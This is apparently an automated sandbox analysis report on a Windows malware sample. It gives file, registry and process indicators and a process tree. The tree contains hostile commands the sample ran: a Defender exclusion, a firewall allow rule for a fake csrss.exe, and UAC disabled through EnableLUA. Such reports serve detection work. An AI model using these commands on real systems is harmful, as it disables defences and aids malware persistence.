File created	C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\NZEyRcj.xml	ufCGhsm.exe

Drops file in Windows directory 17 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss	wZ9lwyypc2SisHH2cHQG9QdI.exe
File created	C:\Windows\rss\csrss.exe	wZ9lwyypc2SisHH2cHQG9QdI.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\Tasks\JHJXtPPPvDXVqpH.job	schtasks.exe
File created	C:\Windows\Tasks\aNyMQclguOCSCcjxm.job	schtasks.exe
File opened for modification	C:\Windows\rss	mJfqt2DI6VflFiKsdKO0A7fN.exe
File opened for modification	C:\Windows\rss	7gCW8vWWWK29HPkEFtVeb5yp.exe
File created	C:\Windows\rss\csrss.exe	7gCW8vWWWK29HPkEFtVeb5yp.exe
File created	C:\Windows\Tasks\biPxHmULFllsbMgnpt.job	schtasks.exe
File created	C:\Windows\Tasks\yfARWRprRqUFWeTGf.job	schtasks.exe
File opened for modification	C:\Windows\Tasks\yfARWRprRqUFWeTGf.job	schtasks.exe
File created	C:\Windows\rss\csrss.exe	mJfqt2DI6VflFiKsdKO0A7fN.exe
File opened for modification	C:\Windows\rss	LdheNn4aaBVTsGzQyYgbhQup.exe
File created	C:\Windows\rss\csrss.exe	LdheNn4aaBVTsGzQyYgbhQup.exe
File opened for modification	C:\Windows\Tasks\biPxHmULFllsbMgnpt.job	schtasks.exe
File created	C:\Windows\Tasks\JHJXtPPPvDXVqpH.job	schtasks.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6048	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u3vo.3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u3vo.3.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u3vo.3.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	u3vo.0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	u3vo.0.exe

Creates scheduled task(s) 1 TTPs 20 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4252	schtasks.exe
4524	schtasks.exe
2712	schtasks.exe
616	schtasks.exe
3004	schtasks.exe
4072	schtasks.exe
3496	schtasks.exe
5044	schtasks.exe
3960	schtasks.exe
3532	schtasks.exe
3324	schtasks.exe
3488	schtasks.exe
2612	schtasks.exe
4648	schtasks.exe
856	schtasks.exe
3940	schtasks.exe
5112	schtasks.exe
4156	schtasks.exe
5716	schtasks.exe
3960	schtasks.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-241 = "Samoa Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1661 = "Bahia Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	Install.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-451 = "Caucasus Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	mJfqt2DI6VflFiKsdKO0A7fN.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ufCGhsm.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-82 = "Atlantic Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-961 = "Paraguay Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
688	powershell.exe
688	powershell.exe
688	powershell.exe
2864	powershell.exe
2864	powershell.exe
2864	powershell.exe
5004	powershell.exe
5004	powershell.exe
5004	powershell.exe
5004	powershell.exe
3812	powershell.exe
3812	powershell.exe
3812	powershell.exe
3812	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
4636	powershell.exe
4636	powershell.exe
4636	powershell.exe
4636	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
5040	powershell.exe
5040	powershell.exe
5040	powershell.exe
5040	powershell.exe
204	powershell.EXE
204	powershell.EXE
204	powershell.EXE
1264	powershell.exe
1264	powershell.exe
1264	powershell.exe
1264	powershell.exe
204	powershell.EXE
1828	run.exe
1828	run.exe
1828	run.exe
3900	powershell.exe
3900	powershell.exe
3900	powershell.exe
3900	powershell.exe
1616	powershell.exe
1616	powershell.exe
1616	powershell.exe
1616	powershell.exe
2272	powershell.exe
2272	powershell.exe
2272	powershell.exe
2272	powershell.exe
4748	cmd.exe
4748	cmd.exe
4748	cmd.exe
4748	cmd.exe
1624	XgToBZh.exe
1624	XgToBZh.exe
1624	XgToBZh.exe
1624	XgToBZh.exe
1624	XgToBZh.exe
1624	XgToBZh.exe
1624	XgToBZh.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
1828	run.exe
4748	cmd.exe
4748	cmd.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4700	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe
Token: SeDebugPrivilege	688	powershell.exe
Token: SeDebugPrivilege	1620	regasm.exe
Token: SeIncreaseQuotaPrivilege	688	powershell.exe
Token: SeSecurityPrivilege	688	powershell.exe
Token: SeTakeOwnershipPrivilege	688	powershell.exe
Token: SeLoadDriverPrivilege	688	powershell.exe
Token: SeSystemProfilePrivilege	688	powershell.exe
Token: SeSystemtimePrivilege	688	powershell.exe
Token: SeProfSingleProcessPrivilege	688	powershell.exe
Token: SeIncBasePriorityPrivilege	688	powershell.exe
Token: SeCreatePagefilePrivilege	688	powershell.exe
Token: SeBackupPrivilege	688	powershell.exe
Token: SeRestorePrivilege	688	powershell.exe
Token: SeShutdownPrivilege	688	powershell.exe
Token: SeDebugPrivilege	688	powershell.exe
Token: SeSystemEnvironmentPrivilege	688	powershell.exe
Token: SeRemoteShutdownPrivilege	688	powershell.exe
Token: SeUndockPrivilege	688	powershell.exe
Token: SeManageVolumePrivilege	688	powershell.exe
Token: 33	688	powershell.exe
Token: 34	688	powershell.exe
Token: 35	688	powershell.exe
Token: 36	688	powershell.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	5004	powershell.exe
Token: SeIncreaseQuotaPrivilege	3484	WMIC.exe
Token: SeSecurityPrivilege	3484	WMIC.exe
Token: SeTakeOwnershipPrivilege	3484	WMIC.exe
Token: SeLoadDriverPrivilege	3484	WMIC.exe
Token: SeSystemProfilePrivilege	3484	WMIC.exe
Token: SeSystemtimePrivilege	3484	WMIC.exe
Token: SeProfSingleProcessPrivilege	3484	WMIC.exe
Token: SeIncBasePriorityPrivilege	3484	WMIC.exe
Token: SeCreatePagefilePrivilege	3484	WMIC.exe
Token: SeBackupPrivilege	3484	WMIC.exe
Token: SeRestorePrivilege	3484	WMIC.exe
Token: SeShutdownPrivilege	3484	WMIC.exe
Token: SeDebugPrivilege	3484	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3484	WMIC.exe
Token: SeRemoteShutdownPrivilege	3484	WMIC.exe
Token: SeUndockPrivilege	3484	WMIC.exe
Token: SeManageVolumePrivilege	3484	WMIC.exe
Token: 33	3484	WMIC.exe
Token: 34	3484	WMIC.exe
Token: 35	3484	WMIC.exe
Token: 36	3484	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3484	WMIC.exe
Token: SeSecurityPrivilege	3484	WMIC.exe
Token: SeTakeOwnershipPrivilege	3484	WMIC.exe
Token: SeLoadDriverPrivilege	3484	WMIC.exe
Token: SeSystemProfilePrivilege	3484	WMIC.exe
Token: SeSystemtimePrivilege	3484	WMIC.exe
Token: SeProfSingleProcessPrivilege	3484	WMIC.exe
Token: SeIncBasePriorityPrivilege	3484	WMIC.exe
Token: SeCreatePagefilePrivilege	3484	WMIC.exe
Token: SeBackupPrivilege	3484	WMIC.exe
Token: SeRestorePrivilege	3484	WMIC.exe
Token: SeShutdownPrivilege	3484	WMIC.exe
Token: SeDebugPrivilege	3484	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3484	WMIC.exe
Token: SeRemoteShutdownPrivilege	3484	WMIC.exe
Token: SeUndockPrivilege	3484	WMIC.exe
Token: SeManageVolumePrivilege	3484	WMIC.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
2520	u3vo.3.exe
2520	u3vo.3.exe
2520	u3vo.3.exe
2520	u3vo.3.exe
2520	u3vo.3.exe
2520	u3vo.3.exe
2520	u3vo.3.exe

Suspicious use of SendNotifyMessage 7 IoCs

pid	Process
2520	u3vo.3.exe
2520	u3vo.3.exe
2520	u3vo.3.exe
2520	u3vo.3.exe
2520	u3vo.3.exe
2520	u3vo.3.exe
2520	u3vo.3.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1060	MSBuild.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4700 wrote to memory of 688	4700	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	72
PID 4700 wrote to memory of 688	4700	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	72
PID 4700 wrote to memory of 1620	4700	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	74
PID 4700 wrote to memory of 1620	4700	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	74
PID 4700 wrote to memory of 1620	4700	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	74
PID 4700 wrote to memory of 1620	4700	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	74
PID 4700 wrote to memory of 1620	4700	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	74
PID 4700 wrote to memory of 1620	4700	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	74
PID 4700 wrote to memory of 1620	4700	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	74
PID 4700 wrote to memory of 1620	4700	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	74
PID 4700 wrote to memory of 3576	4700	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	75
PID 4700 wrote to memory of 3576	4700	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	75
PID 4700 wrote to memory of 3576	4700	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	75
PID 1620 wrote to memory of 5028	1620	regasm.exe	79
PID 1620 wrote to memory of 5028	1620	regasm.exe	79
PID 1620 wrote to memory of 5028	1620	regasm.exe	79
PID 1620 wrote to memory of 3624	1620	regasm.exe	80
PID 1620 wrote to memory of 3624	1620	regasm.exe	80
PID 1620 wrote to memory of 3624	1620	regasm.exe	80
PID 1620 wrote to memory of 3804	1620	regasm.exe	81
PID 1620 wrote to memory of 3804	1620	regasm.exe	81
PID 1620 wrote to memory of 3804	1620	regasm.exe	81
PID 1620 wrote to memory of 1116	1620	regasm.exe	82
PID 1620 wrote to memory of 1116	1620	regasm.exe	82
PID 1620 wrote to memory of 1116	1620	regasm.exe	82
PID 1620 wrote to memory of 1304	1620	regasm.exe	83
PID 1620 wrote to memory of 1304	1620	regasm.exe	83
PID 1620 wrote to memory of 1304	1620	regasm.exe	83
PID 1620 wrote to memory of 3064	1620	regasm.exe	84
PID 1620 wrote to memory of 3064	1620	regasm.exe	84
PID 1620 wrote to memory of 3064	1620	regasm.exe	84
PID 3064 wrote to memory of 3644	3064	2XhPC2FEFdRtYTskabEhLruQ.exe	85
PID 3064 wrote to memory of 3644	3064	2XhPC2FEFdRtYTskabEhLruQ.exe	85
PID 3064 wrote to memory of 3644	3064	2XhPC2FEFdRtYTskabEhLruQ.exe	85
PID 3644 wrote to memory of 4416	3644	Install.exe	86
PID 3644 wrote to memory of 4416	3644	Install.exe	86
PID 3644 wrote to memory of 4416	3644	Install.exe	86
PID 4416 wrote to memory of 3488	4416	cmd.exe	88
PID 4416 wrote to memory of 3488	4416	cmd.exe	88
PID 4416 wrote to memory of 3488	4416	cmd.exe	88
PID 3488 wrote to memory of 5068	3488	forfiles.exe	89
PID 3488 wrote to memory of 5068	3488	forfiles.exe	89
PID 3488 wrote to memory of 5068	3488	forfiles.exe	89
PID 5068 wrote to memory of 4524	5068	cmd.exe	90
PID 5068 wrote to memory of 4524	5068	cmd.exe	90
PID 5068 wrote to memory of 4524	5068	cmd.exe	90
PID 4416 wrote to memory of 4608	4416	cmd.exe	91
PID 4416 wrote to memory of 4608	4416	cmd.exe	91
PID 4416 wrote to memory of 4608	4416	cmd.exe	91
PID 4608 wrote to memory of 192	4608	forfiles.exe	92
PID 4608 wrote to memory of 192	4608	forfiles.exe	92
PID 4608 wrote to memory of 192	4608	forfiles.exe	92
PID 192 wrote to memory of 2820	192	cmd.exe	93
PID 192 wrote to memory of 2820	192	cmd.exe	93
PID 192 wrote to memory of 2820	192	cmd.exe	93
PID 4416 wrote to memory of 1552	4416	cmd.exe	94
PID 4416 wrote to memory of 1552	4416	cmd.exe	94
PID 4416 wrote to memory of 1552	4416	cmd.exe	94
PID 1552 wrote to memory of 5084	1552	forfiles.exe	95
PID 1552 wrote to memory of 5084	1552	forfiles.exe	95
PID 1552 wrote to memory of 5084	1552	forfiles.exe	95
PID 5084 wrote to memory of 2468	5084	cmd.exe	96
PID 5084 wrote to memory of 2468	5084	cmd.exe	96
PID 5084 wrote to memory of 2468	5084	cmd.exe	96

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe
"C:\Users\Admin\AppData\Local\Temp\18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe" -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:688
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
  2⤵
  - Drops startup file
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1620
- - C:\Users\Admin\Pictures\IvDALicu2nrR94m7zQ2h9aIq.exe
    "C:\Users\Admin\Pictures\IvDALicu2nrR94m7zQ2h9aIq.exe"
    3⤵
    - Executes dropped EXE
    PID:5028
  - - C:\Users\Admin\AppData\Local\Temp\u3vo.0.exe
      "C:\Users\Admin\AppData\Local\Temp\u3vo.0.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      PID:4464
  - - C:\Users\Admin\AppData\Local\Temp\u3vo.2\run.exe
      "C:\Users\Admin\AppData\Local\Temp\u3vo.2\run.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      PID:1828
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        5⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:4748
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        6⤵
        Suspicious use of SetWindowsHookEx
        
        PID:1060
  - - C:\Users\Admin\AppData\Local\Temp\u3vo.3.exe
      "C:\Users\Admin\AppData\Local\Temp\u3vo.3.exe"
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:2520
    - - C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        5⤵
        
        PID:216
- - C:\Users\Admin\Pictures\mJfqt2DI6VflFiKsdKO0A7fN.exe
    "C:\Users\Admin\Pictures\mJfqt2DI6VflFiKsdKO0A7fN.exe"
    3⤵
    - Executes dropped EXE
    PID:3624
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4424
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1904
  - - C:\Users\Admin\Pictures\mJfqt2DI6VflFiKsdKO0A7fN.exe
      "C:\Users\Admin\Pictures\mJfqt2DI6VflFiKsdKO0A7fN.exe"
      4⤵
      Windows security bypass
      Executes dropped EXE
      Windows security modification
      Adds Run key to start application
      Checks for VirtualBox DLLs, possible anti-VM trick
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      PID:5776
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:1644
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:5344
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:5440
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:5488
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:1836
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:5536
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Manipulates WinMonFS driver.
        Drops file in Windows directory
        
        PID:396
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:656
        
        C:\Windows\System32\Conhost.exe
        
